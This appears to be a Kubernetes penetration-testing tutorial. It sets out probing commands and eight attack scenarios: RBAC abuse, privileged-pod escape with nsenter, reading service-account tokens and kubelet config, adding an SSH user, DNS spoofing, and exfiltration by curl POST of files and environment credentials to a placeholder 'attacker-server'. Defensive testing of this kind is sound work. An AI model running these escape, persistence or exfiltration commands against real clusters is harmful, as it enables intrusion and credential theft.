Penetration testing involves identifying vulnerabilities and weaknesses in your cluster's security. Below are some example commands and scripts that you can use as a starting point for conducting penetration tests on your Kubernetes cluster. Keep in mind that penetration testing should only be performed in controlled environments and with proper authorization to avoid disrupting production systems.

### 1. Unauthorized Access Attempts

Attempt to access the Kubernetes API server with invalid or no credentials:

```bash

# Without credentials

curl -k https://<api-server-url>

# With invalid credentials

curl -k -u invaliduser:invalidpass https://<api-server-url>

```

### 2. Role-Based Access Control (RBAC) Testing

Test RBAC by attempting to access resources and perform actions that are not allowed by the assigned roles:

```bash

# List pods in a restricted namespace

kubectl get pods -n restricted-namespace

# Attempt to delete a deployment in a namespace without permissions

kubectl delete deployment my-deployment -n another-namespace

```

### 3. Network Segmentation

Attempt to access services and pods that should be isolated by network policies:

```bash

# Try accessing a service from a restricted namespace

kubectl run --rm -it --image=busybox testpod -n restricted-namespace -- /bin/sh

wget <service-url>

```

### 4. Image Vulnerability Testing

Deploy a pod with a container image containing known vulnerabilities:

```bash

# Deploy a vulnerable pod

kubectl apply -f vulnerable-pod.yaml

# Wait for the pod to start and check logs for vulnerabilities

kubectl logs <pod-name>

```

### 5. Secrets Exposure

Attempt to access secrets from unauthorized pods or namespaces:

```bash

# Attempt to access secrets from a different namespace

kubectl run --rm -it --image=busybox testpod -n another-namespace -- /bin/sh

cat /var/run/secrets/kubernetes.io/serviceaccount/token

```

### 6. Unauthorized Access to Nodes

Attempt to access cluster nodes or sensitive directories within nodes:

```bash

# SSH into a node

ssh <node-username>@<node-ip>

# Attempt to access sensitive files or directories

ls /var/lib/kubelet

cat /etc/kubernetes/kubelet.conf

```

### 7. Pod Escape Attempts

Attempt to escape from a container and access the host system:

```bash

# Deploy a pod with hostPID and hostIPC privileges

kubectl apply -f privileged-pod.yaml

# From within the pod, attempt to access host resources

nsenter --target 1 --mount --uts --ipc --net --pid

```

### Attack Scenario 1: Unauthorized Access to Sensitive Data

\*\*Scenario:\*\* An attacker gains unauthorized access to sensitive data by exploiting misconfigured RBAC permissions.

\*\*Commands/Scripts:\*\*

1. \*\*Discover Vulnerable Role:\*\* The attacker identifies a misconfigured role that provides unintended access.

```bash

kubectl describe role <vulnerable-role> -n <namespace>

```

2. \*\*Create Unauthorized Pod:\*\* The attacker creates a pod in the namespace with the vulnerable role.

```bash

kubectl run malicious-pod -n <namespace> --image=busybox --restart=Never -- /bin/sh

```

3. \*\*Access Sensitive Data:\*\* The attacker gains access to sensitive data or performs unauthorized actions.

```bash

kubectl exec -it malicious-pod -n <namespace> -- /bin/sh

```

### Attack Scenario 2: Container Escape and Node Access

\*\*Scenario:\*\* An attacker gains control over a pod and attempts to escape the container to access the underlying host system.

\*\*Commands/Scripts:\*\*

1. \*\*Deploy Vulnerable Pod:\*\* The attacker deploys a pod with misconfigured privileges.

```yaml

apiVersion: v1

kind: Pod

metadata:

name: escape-pod

spec:

containers:

- name: attacker-container

image: attacker-image

securityContext:

privileged: true

```

2. \*\*Access Host Namespace:\*\* The attacker uses a tool like `nsenter` to access the host's namespace.

```bash

kubectl exec -it escape-pod -- /bin/sh

# From inside the container

nsenter --target 1 --mount --uts --ipc --net --pid

```

3. \*\*Access Host Filesystem:\*\* Once inside the host's namespace, the attacker can access host files.

```bash

# From within the host namespace

cat /etc/passwd

```

### Attack Scenario 2: Container Escape and Node Access (Continued)

\*\*Scenario:\*\* An attacker gains control over a pod and attempts to escape the container to access the underlying host system.

\*\*Commands/Scripts (Continued):\*\*

4. \*\*Modify Host System:\*\* If the attacker successfully gains access to the host's filesystem, they can potentially modify system files.

```bash

# Example: Modify SSH configuration

echo "AllowUsers attacker" >> /etc/ssh/sshd\_config

service sshd restart

```

5. \*\*Lateral Movement:\*\* With unauthorized access to the host, the attacker can pivot to other nodes in the cluster or perform further reconnaissance.

```bash

# Use SSH keys or other methods to move laterally within the cluster

ssh attacker@other-node-ip

### Attack Scenario 3: Exploiting Unpatched Software

\*\*Scenario:\*\* An attacker exploits a known vulnerability in a Kubernetes component that hasn't been patched yet.

\*\*Commands/Scripts:\*\*

1. \*\*Identify Vulnerable Component:\*\* The attacker identifies a vulnerable Kubernetes component.

```bash

# Find Kubernetes version and components

kubectl version

kubectl get pods -n kube-system

```

2. \*\*Exploit Vulnerability:\*\* The attacker uses a known exploit to compromise the vulnerable component.

```bash

# Example: Exploit Kubelet API vulnerability

curl -k https://<vulnerable-node-ip>:10250/pods

```

### Attack Scenario 4: Exfiltrating Data

\*\*Scenario:\*\* An attacker gains unauthorized access to a pod and exfiltrates sensitive data from it.

\*\*Commands/Scripts:\*\*

1. \*\*Access Vulnerable Pod:\*\* The attacker compromises a vulnerable pod.

```bash

kubectl exec -it vulnerable-pod -n <namespace> -- /bin/sh

```

2. \*\*Collect and Exfiltrate Data:\*\* The attacker identifies and exfiltrates sensitive data from the compromised pod.

```bash

# Example: Exfiltrate sensitive files

cat /path/to/sensitive/file > /tmp/exfiltrated\_data.txt

curl -X POST -F "file=@/tmp/exfiltrated\_data.txt" https://attacker-server/exfil

```

### Attack Scenario 5: Credential Sniffing

\*\*Scenario:\*\* An attacker gains access to a pod and attempts to capture sensitive credentials.

\*\*Commands/Scripts:\*\*

1. \*\*Access Vulnerable Pod:\*\* The attacker gains access to a pod.

```bash

kubectl exec -it compromised-pod -n <namespace> -- /bin/sh

```

2. \*\*Capture Sensitive Data:\*\* The attacker captures sensitive data, such as environment variables or configuration files containing credentials.

```bash

# Example: Capture environment variables

env > /tmp/credentials.txt

```

3. \*\*Exfiltrate Data:\*\* The attacker exfiltrates captured data to a remote server.

```bash

curl -X POST -F "file=@/tmp/credentials.txt" https://attacker-server/exfil

```

### Attack Scenario 6: DNS Spoofing

\*\*Scenario:\*\* An attacker spoofs DNS responses to redirect traffic to a malicious server.

\*\*Commands/Scripts:\*\*

1. \*\*Identify Targeted Service:\*\* The attacker identifies a service they want to target.

```bash

# Example: Identify the service IP

kubectl get svc -n <namespace>

```

2. \*\*Spoof DNS Response:\*\* The attacker uses a tool like `dnsmasq` to respond with a malicious IP.

```bash

# Example: Spoof DNS response to redirect traffic

echo "address=/target-service.namespace.svc.cluster.local/attacker-ip" >> /etc/dnsmasq.conf

service dnsmasq restart

```

### Attack Scenario 7: Container Breakout

\*\*Scenario:\*\* An attacker attempts to escape from a container and gain control over the host.

\*\*Commands/Scripts:\*\*

1. \*\*Deploy Vulnerable Container:\*\* The attacker deploys a container with misconfigured security settings.

```yaml

apiVersion: v1

kind: Pod

metadata:

name: vulnerable-container

spec:

containers:

- name: attacker-container

image: attacker-image

securityContext:

privileged: true

```

2. \*\*Access Host Namespace:\*\* The attacker uses `nsenter` to access the host's namespace.

```bash

kubectl exec -it vulnerable-container -- /bin/sh

# From inside the container

nsenter --target 1 --mount --uts --ipc --net --pid

```

### Attack Scenario 8: Malicious Image

\*\*Scenario:\*\* An attacker deploys a container with a malicious image containing a backdoor.

\*\*Commands/Scripts:\*\*

1. \*\*Build Malicious Docker Image:\*\* The attacker creates a Docker image with a backdoor.

```Dockerfile

FROM nginx:latest

RUN echo 'malicious\_command' >> /usr/share/nginx/html/index.html

```

2. \*\*Push to Registry:\*\* The attacker pushes the malicious image to a registry.

```bash

docker build -t malicious-image .

docker tag malicious-image registry.example.com/malicious-image

docker push registry.example.com/malicious-image

```

3. \*\*Deploy Malicious Pod:\*\* The attacker deploys the pod using the malicious image.

```yaml

apiVersion: v1

kind: Pod

metadata:

name: malicious-pod

spec:

containers:

- name: attacker-container

image: registry.example.com/malicious-image

```